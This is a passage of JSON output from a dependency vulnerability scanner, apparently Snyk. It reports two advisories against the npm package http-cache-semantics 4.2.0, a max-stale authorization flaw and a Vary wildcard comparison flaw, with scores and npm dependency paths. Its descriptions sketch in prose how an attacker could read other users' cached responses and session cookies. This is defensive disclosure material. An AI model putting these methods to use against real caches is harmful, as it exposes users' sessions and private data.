"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
